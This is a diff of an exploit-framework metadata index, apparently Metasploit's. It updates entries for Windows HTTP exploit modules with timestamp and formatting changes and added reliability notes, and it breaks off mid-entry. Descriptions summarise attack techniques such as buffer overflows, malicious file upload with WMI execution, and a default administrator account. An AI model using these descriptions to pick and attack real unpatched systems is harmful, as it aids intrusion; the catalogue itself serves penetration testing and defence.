@@ "exploit_windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966": { "name": "ManageEngine Endpoint Central Unauthenticated SAML RCE", "fullname": "exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -171253,9 +176042,7 @@ "exploit_windows/http/manageengine_servicedesk_plus_cve_2021_44077": { "name": "ManageEngine ServiceDesk Plus CVE-2021-44077", "fullname": "exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-16", "type": "exploit", @@ -171319,16 +176106,14 @@ "exploit_windows/http/maxdb_webdbm_database": { "name": "MaxDB WebDBM Database Parameter Overflow", "fullname": "exploit/windows/http/maxdb_webdbm_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-29", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the MaxDB WebDBM\n service. By sending a specially-crafted HTTP request that contains\n an overly long database name. A remote attacker could overflow a buffer\n and execute arbitrary code on the system with privileges of the wahttp process.\n\n This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.", + "description": "This module exploits a stack buffer overflow in the MaxDB WebDBM\n service. By sending a specially-crafted HTTP request that contains\n an overly long database name. A remote attacker could overflow a buffer\n and execute arbitrary code on the system with privileges of the wahttp process.\n\n This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.", "references": [ "CVE-2006-4305", "OSVDB-28300", @@ -171337,17 +176122,13 @@ "platform": "Windows", "arch": "", "rport": 9999, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MaxDB 7.6.00.16", "MaxDB 7.6.00.27" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/maxdb_webdbm_database.rb", "is_install_path": true, "ref_name": "windows/http/maxdb_webdbm_database", @@ -171355,6 +176136,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171362,16 +176152,14 @@ "exploit_windows/http/maxdb_webdbm_get_overflow": { "name": "MaxDB WebDBM GET Buffer Overflow", "fullname": "exploit/windows/http/maxdb_webdbm_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-04-26", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the MaxDB WebDBM\n service. This service is included with many recent versions\n of the MaxDB and SAPDB products. This particular module is\n capable of exploiting Windows systems through the use of an\n SEH frame overwrite. The offset to the SEH frame may change\n depending on where MaxDB has been installed, this module\n assumes a web root path with the same length as:\n\n C:\\Program Files\\sdb\\programs\\web\\Documents", + "description": "This module exploits a stack buffer overflow in the MaxDB WebDBM\n service. This service is included with many recent versions\n of the MaxDB and SAPDB products. This particular module is\n capable of exploiting Windows systems through the use of an\n SEH frame overwrite. The offset to the SEH frame may change\n depending on where MaxDB has been installed, this module\n assumes a web root path with the same length as:\n\n C:\\Program Files\\sdb\\programs\\web\\Documents", "references": [ "CVE-2005-0684", "OSVDB-15816", @@ -171403,7 +176191,7 @@ "Windows 2003 English", "Windows NT 4.0 SP4/SP5/SP6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb", "is_install_path": true, "ref_name": "windows/http/maxdb_webdbm_get_overflow", @@ -171411,6 +176199,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171418,9 +176215,7 @@ "exploit_windows/http/mcafee_epolicy_source": { "name": "McAfee ePolicy Orchestrator / ProtectionPilot Overflow", "fullname": "exploit/windows/http/mcafee_epolicy_source", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-17", "type": "exploit", @@ -171430,7 +176225,7 @@ "hdm ", "aushack " ], - "description": "This is an exploit for the McAfee HTTP Server (NAISERV.exe).\n McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are\n known to be vulnerable. By sending a large 'Source' header, the stack can\n be overwritten. This module is based on the exploit by xbxice and muts.\n Due to size constraints, this module uses the Egghunter technique.", + "description": "This is an exploit for the McAfee HTTP Server (NAISERV.exe).\n McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are\n known to be vulnerable. By sending a large 'Source' header, the stack can\n be overwritten. This module is based on the exploit by xbxice and muts.\n Due to size constraints, this module uses the Egghunter technique.", "references": [ "CVE-2006-5156", "OSVDB-29421", @@ -171440,18 +176235,14 @@ "platform": "Windows", "arch": "x86", "rport": 81, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "ePo 2.5.1 (Service Pack 1)", "ePo 3.5.0/ProtectionPilot 1.1.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/mcafee_epolicy_source.rb", "is_install_path": true, "ref_name": "windows/http/mcafee_epolicy_source", @@ -171459,6 +176250,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171466,16 +176266,14 @@ "exploit_windows/http/mdaemon_worldclient_form2raw": { "name": "MDaemon WorldClient form2raw.cgi Stack Buffer Overflow", "fullname": "exploit/windows/http/mdaemon_worldclient_form2raw", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-12-29", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for\n versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),\n a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,\n by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),\n the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based\n overflow occurs when an excessively long From field is specified.\n The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.\n Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.\n\n Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very\n reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will\n continue to crash/execute the payload until the CGI output is manually deleted\n from the queue in C:\\MDaemon\\RawFiles\\*.raw.", + "description": "This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for\n versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),\n a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,\n by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),\n the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based\n overflow occurs when an excessively long From field is specified.\n The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.\n Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.\n\n Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very\n reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will\n continue to crash/execute the payload until the CGI output is manually deleted\n from the queue in C:\\MDaemon\\RawFiles\\*.raw.", "references": [ "CVE-2003-1200", "OSVDB-3255", @@ -171484,17 +176282,13 @@ "platform": "Windows", "arch": "x86", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal MDaemon.exe", "Debugging test" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb", "is_install_path": true, "ref_name": "windows/http/mdaemon_worldclient_form2raw", @@ -171502,6 +176296,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171509,16 +176312,14 @@ "exploit_windows/http/minishare_get_overflow": { "name": "Minishare 1.4.1 Buffer Overflow", "fullname": "exploit/windows/http/minishare_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-07", "type": "exploit", "author": [ "acaro " ], - "description": "This is a simple buffer overflow for the minishare web\n server. This flaw affects all versions prior to 1.4.2. This\n is a plain stack buffer overflow that requires a \"jmp esp\" to reach\n the payload, making this difficult to target many platforms\n at once. This module has been successfully tested against\n 1.4.1. Version 1.3.4 and below do not seem to be vulnerable.", + "description": "This is a simple buffer overflow for the minishare web\n server. This flaw affects all versions prior to 1.4.2. This\n is a plain stack buffer overflow that requires a \"jmp esp\" to reach\n the payload, making this difficult to target many platforms\n at once. This module has been successfully tested against\n 1.4.1. Version 1.3.4 and below do not seem to be vulnerable.", "references": [ "CVE-2004-2271", "OSVDB-11530", @@ -171558,7 +176359,7 @@ "Windows XP SP2 French", "Windows XP SP3 French" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/minishare_get_overflow.rb", "is_install_path": true, "ref_name": "windows/http/minishare_get_overflow", @@ -171566,6 +176367,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171573,9 +176383,7 @@ "exploit_windows/http/miniweb_upload_wbem": { "name": "MiniWeb (Build 300) Arbitrary File Upload", "fullname": "exploit/windows/http/miniweb_upload_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-09", "type": "exploit", @@ -171583,7 +176391,7 @@ "AkaStep", "bcoles " ], - "description": "This module exploits a vulnerability in MiniWeb HTTP server (build 300).\n The software contains a file upload vulnerability that allows an\n unauthenticated remote attacker to write arbitrary files to the file system.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine as an exe file, and then upload another mof file, which enables\n WMI (Management Instrumentation service) to execute the uploaded payload.\n Please note that this module currently only works for Windows before Vista.", + "description": "This module exploits a vulnerability in MiniWeb HTTP server (build 300).\n The software contains a file upload vulnerability that allows an\n unauthenticated remote attacker to write arbitrary files to the file system.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine as an exe file, and then upload another mof file, which enables\n WMI (Management Instrumentation service) to execute the uploaded payload.\n Please note that this module currently only works for Windows before Vista.", "references": [ "OSVDB-92198", "OSVDB-92200", @@ -171610,7 +176418,7 @@ "targets": [ "MiniWeb build 300 on Windows (Before Vista)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/miniweb_upload_wbem.rb", "is_install_path": true, "ref_name": "windows/http/miniweb_upload_wbem", @@ -171618,6 +176426,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -171625,9 +176442,7 @@ "exploit_windows/http/moveit_cve_2023_34362": { "name": "MOVEit SQL Injection vulnerability", "fullname": "exploit/windows/http/moveit_cve_2023_34362", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-31", "type": "exploit", @@ -171636,7 +176451,7 @@ "rbowes-r7", "bwatters-r7" ], - "description": "This module exploits an SQL injection vulnerability in the MOVEit Transfer web application\n that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.\n Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an\n attacker can leverage an information leak be able to upload a .NET deserialization payload.", + "description": "This module exploits an SQL injection vulnerability in the MOVEit Transfer web application\n that allows an unauthenticated attacker to gain access to MOVEit Transfer's database.\n Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an\n attacker can leverage an information leak be able to upload a .NET deserialization payload.", "references": [ "CVE-2023-34362", "URL-https://github.com/sfewer-r7/CVE-2023-34362", @@ -171664,7 +176479,7 @@ "targets": [ "Windows Command" ], - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-06-25 11:20:47 +0000", "path": "/modules/exploits/windows/http/moveit_cve_2023_34362.rb", "is_install_path": true, "ref_name": "windows/http/moveit_cve_2023_34362", @@ -171689,16 +176504,14 @@ "exploit_windows/http/navicopa_get_overflow": { "name": "NaviCOPA 2.0.1 URL Handling Buffer Overflow", "fullname": "exploit/windows/http/navicopa_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-09-28", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in NaviCOPA 2.0.1.\n The vulnerability is caused due to a boundary error within the\n handling of URL parameters.", + "description": "This module exploits a stack buffer overflow in NaviCOPA 2.0.1.\n The vulnerability is caused due to a boundary error within the\n handling of URL parameters.", "references": [ "CVE-2006-5112", "OSVDB-29257", @@ -171707,16 +176520,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NaviCOPA 2.0.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/navicopa_get_overflow.rb", "is_install_path": true, "ref_name": "windows/http/navicopa_get_overflow", @@ -171724,6 +176533,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171731,9 +176549,7 @@ "exploit_windows/http/netdecision_http_bof": { "name": "NetDecision 4.5.1 HTTP Server Buffer Overflow", "fullname": "exploit/windows/http/netdecision_http_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-24", "type": "exploit", @@ -171741,7 +176557,7 @@ "Prabhu S Angadi", "sinn3r " ], - "description": "This module exploits a vulnerability found in NetDecision's HTTP service\n (located in C:\\Program Files\\NetDecision\\Bin\\HttpSvr.exe). By supplying a\n long string of data to the URL, an overflow may occur if the data gets handled\n by HTTP Server's active window. In other words, in order to gain remote code\n execution, the victim is probably looking at HttpSvr's window.", + "description": "This module exploits a vulnerability found in NetDecision's HTTP service\n (located in C:\\Program Files\\NetDecision\\Bin\\HttpSvr.exe). By supplying a\n long string of data to the URL, an overflow may occur if the data gets handled\n by HTTP Server's active window. In other words, in order to gain remote code\n execution, the victim is probably looking at HttpSvr's window.", "references": [ "CVE-2012-1465", "OSVDB-79651", @@ -171769,7 +176585,7 @@ "targets": [ "NetDecision 4.5.1 on XP SP3" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/netdecision_http_bof.rb", "is_install_path": true, "ref_name": "windows/http/netdecision_http_bof", @@ -171777,6 +176593,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -171784,9 +176609,7 @@ "exploit_windows/http/netgear_nms_rce": { "name": "NETGEAR ProSafe Network Management System 300 Arbitrary File Upload", "fullname": "exploit/windows/http/netgear_nms_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-04", "type": "exploit", @@ -171852,9 +176675,7 @@ "exploit_windows/http/netmotion_mobility_mvcutil_deserialization": { "name": "NetMotion Mobility Server MvcUtil Java Deserialization", "fullname": "exploit/windows/http/netmotion_mobility_mvcutil_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-08", "type": "exploit", @@ -171917,9 +176738,7 @@ "exploit_windows/http/northstar_c2_xss_to_agent_rce": { "name": "NorthStar C2 XSS to Agent RCE", "fullname": "exploit/windows/http/northstar_c2_xss_to_agent_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-12", "type": "exploit", @@ -171980,16 +176799,14 @@ "exploit_windows/http/novell_imanager_upload": { "name": "Novell iManager getMultiPartParameters Arbitrary File Upload", "fullname": "exploit/windows/http/novell_imanager_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-01", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a directory traversal vulnerability which\n allows remote attackers to upload and execute arbitrary code.\n\n PortalModuleInstallManager", + "description": "This module exploits a directory traversal vulnerability which\n allows remote attackers to upload and execute arbitrary code.\n\n PortalModuleInstallManager", "references": [ "OSVDB-68320", "ZDI-10-190", @@ -172016,7 +176833,7 @@ "targets": [ "Universal Windows Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/novell_imanager_upload.rb", "is_install_path": true, "ref_name": "windows/http/novell_imanager_upload", @@ -172024,6 +176841,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172031,9 +176857,7 @@ "exploit_windows/http/novell_mdm_lfi": { "name": "Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability", "fullname": "exploit/windows/http/novell_mdm_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-13", "type": "exploit", @@ -172069,31 +176893,28 @@ "targets": [ "Novell Zenworks Mobile Device Management on Windows" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/novell_mdm_lfi.rb", "is_install_path": true, "ref_name": "windows/http/novell_mdm_lfi", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/novell_messenger_acceptlang": { "name": "Novell Messenger Server 2.0 Accept-Language Overflow", "fullname": "exploit/windows/http/novell_messenger_acceptlang", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-04-13", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in Novell GroupWise\n Messenger Server v2.0. This flaw is triggered by any HTTP\n request with an Accept-Language header greater than 16 bytes.\n To overwrite the return address on the stack, we must first\n pass a memcpy() operation that uses pointers we supply. Due to the\n large list of restricted characters and the limitations of the current\n encoder modules, very few payloads are usable.", + "description": "This module exploits a stack buffer overflow in Novell GroupWise\n Messenger Server v2.0. This flaw is triggered by any HTTP\n request with an Accept-Language header greater than 16 bytes.\n To overwrite the return address on the stack, we must first\n pass a memcpy() operation that uses pointers we supply. Due to the\n large list of restricted characters and the limitations of the current\n encoder modules, very few payloads are usable.", "references": [ "CVE-2006-0992", "OSVDB-24617", @@ -172102,16 +176923,12 @@ "platform": "Windows", "arch": "", "rport": 8300, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Groupwise Messenger DClient.dll v10510.37" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/novell_messenger_acceptlang.rb", "is_install_path": true, "ref_name": "windows/http/novell_messenger_acceptlang", @@ -172119,6 +176936,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172126,16 +176952,14 @@ "exploit_windows/http/nowsms": { "name": "Now SMS/MMS Gateway Buffer Overflow", "fullname": "exploit/windows/http/nowsms", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-19", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.\n By sending a specially crafted GET request, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.\n By sending a specially crafted GET request, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2008-0871", "OSVDB-42953", @@ -172162,7 +176986,7 @@ "targets": [ "Now SMS/MMS Gateway v2007.06.27" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/nowsms.rb", "is_install_path": true, "ref_name": "windows/http/nowsms", @@ -172170,6 +176994,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172177,9 +177010,7 @@ "exploit_windows/http/nscp_authenticated_rce": { "name": "NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution", "fullname": "exploit/windows/http/nscp_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -172237,9 +177068,7 @@ "exploit_windows/http/oats_weblogic_console": { "name": "Oracle Application Testing Suite WebLogic Server Administration Console War Deployment", "fullname": "exploit/windows/http/oats_weblogic_console", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-13", "type": "exploit", @@ -172247,10 +177076,8 @@ "Steven Seeley", "sinn3r " ], - "description": "This module abuses a feature in WebLogic Server's Administration Console to install\n a malicious Java application in order to gain remote code execution. Authentication\n is required, however by default, Oracle ships with a \"oats\" account that you could\n log in with, which grants you administrator access.", - "references": [ - - ], + "description": "This module abuses a feature in WebLogic Server's Administration Console to install\n a malicious Java application in order to gain remote code execution. Authentication\n is required, however by default, Oracle ships with a \"oats\" account that you could\n log in with, which grants you administrator access.", + "references": [], "platform": "Java", "arch": "java", "rport": 8088, @@ -172272,7 +177099,7 @@ "targets": [ "WebLogic Server Administration Console 12 or prior" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/oats_weblogic_console.rb", "is_install_path": true, "ref_name": "windows/http/oats_weblogic_console", @@ -172296,9 +177123,7 @@ "exploit_windows/http/octopusdeploy_deploy": { "name": "Octopus Deploy Authenticated Code Execution", "fullname": "exploit/windows/http/octopusdeploy_deploy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -172330,7 +177155,7 @@ "targets": [ "Windows Powershell" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/octopusdeploy_deploy.rb", "is_install_path": true, "ref_name": "windows/http/octopusdeploy_deploy", @@ -172338,6 +177163,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172345,16 +177179,14 @@ "exploit_windows/http/oracle9i_xdb_pass": { "name": "Oracle 9i XDB HTTP PASS Overflow (win32)", "fullname": "exploit/windows/http/oracle9i_xdb_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the authorization\n code of the Oracle 9i HTTP XDB service. David Litchfield,\n has illustrated multiple vulnerabilities in the Oracle\n 9i XML Database (XDB), during a seminar on \"Variations\n in exploit methods between Linux and Windows\" presented\n at the Blackhat conference.", + "description": "This module exploits a stack buffer overflow in the authorization\n code of the Oracle 9i HTTP XDB service. David Litchfield,\n has illustrated multiple vulnerabilities in the Oracle\n 9i XML Database (XDB), during a seminar on \"Variations\n in exploit methods between Linux and Windows\" presented\n at the Blackhat conference.", "references": [ "CVE-2003-0727", "OSVDB-2449", @@ -172364,16 +177196,12 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 9.2.0.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/oracle9i_xdb_pass.rb", "is_install_path": true, "ref_name": "windows/http/oracle9i_xdb_pass", @@ -172381,6 +177209,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -172388,9 +177225,7 @@ "exploit_windows/http/oracle_beehive_evaluation": { "name": "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", "fullname": "exploit/windows/http/oracle_beehive_evaluation", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-09", "type": "exploit", @@ -172399,7 +177234,7 @@ "mr_me ", "sinn3r " ], - "description": "This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method\n found in voice-servlet can be abused to write a malicious file onto the target machine, and\n gain remote arbitrary code execution under the context of SYSTEM.", + "description": "This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method\n found in voice-servlet can be abused to write a malicious file onto the target machine, and\n gain remote arbitrary code execution under the context of SYSTEM.", "references": [ "CVE-2010-4417", "ZDI-11-020", @@ -172426,7 +177261,7 @@ "targets": [ "Oracle Beehive 2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/oracle_beehive_evaluation.rb", "is_install_path": true, "ref_name": "windows/http/oracle_beehive_evaluation", @@ -172434,6 +177269,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -172441,9 +177285,7 @@ "exploit_windows/http/oracle_beehive_prepareaudiotoplay": { "name": "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", "fullname": "exploit/windows/http/oracle_beehive_prepareaudiotoplay", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-10", "type": "exploit", @@ -172451,7 +177293,7 @@ "mr_me ", "sinn3r " ], - "description": "This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method\n found in voice-servlet can be abused to write a malicious file onto the target machine, and\n gain remote arbitrary code execution under the context of SYSTEM. Authentication is not\n required to exploit this vulnerability.", + "description": "This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method\n found in voice-servlet can be abused to write a malicious file onto the target machine, and\n gain remote arbitrary code execution under the context of SYSTEM. Authentication is not\n required to exploit this vulnerability.", "references": [ "ZDI-15-550", "URL-http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html" @@ -172477,7 +177319,7 @@ "targets": [ "Oracle Beehive 2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb", "is_install_path": true, "ref_name": "windows/http/oracle_beehive_prepareaudiotoplay", @@ -172485,6 +177327,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -172492,9 +177343,7 @@ "exploit_windows/http/oracle_btm_writetofile": { "name": "Oracle Business Transaction Management FlashTunnelService Remote Code Execution", "fullname": "exploit/windows/http/oracle_btm_writetofile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-07", "type": "exploit", @@ -172531,7 +177380,7 @@ "Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java", "Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/oracle_btm_writetofile.rb", "is_install_path": true, "ref_name": "windows/http/oracle_btm_writetofile", @@ -172539,6 +177388,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -172546,9 +177404,7 @@ "exploit_windows/http/oracle_endeca_exec": { "name": "Oracle Endeca Server Remote Command Execution", "fullname": "exploit/windows/http/oracle_endeca_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-16", "type": "exploit", @@ -172585,24 +177441,21 @@ "targets": [ "Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": 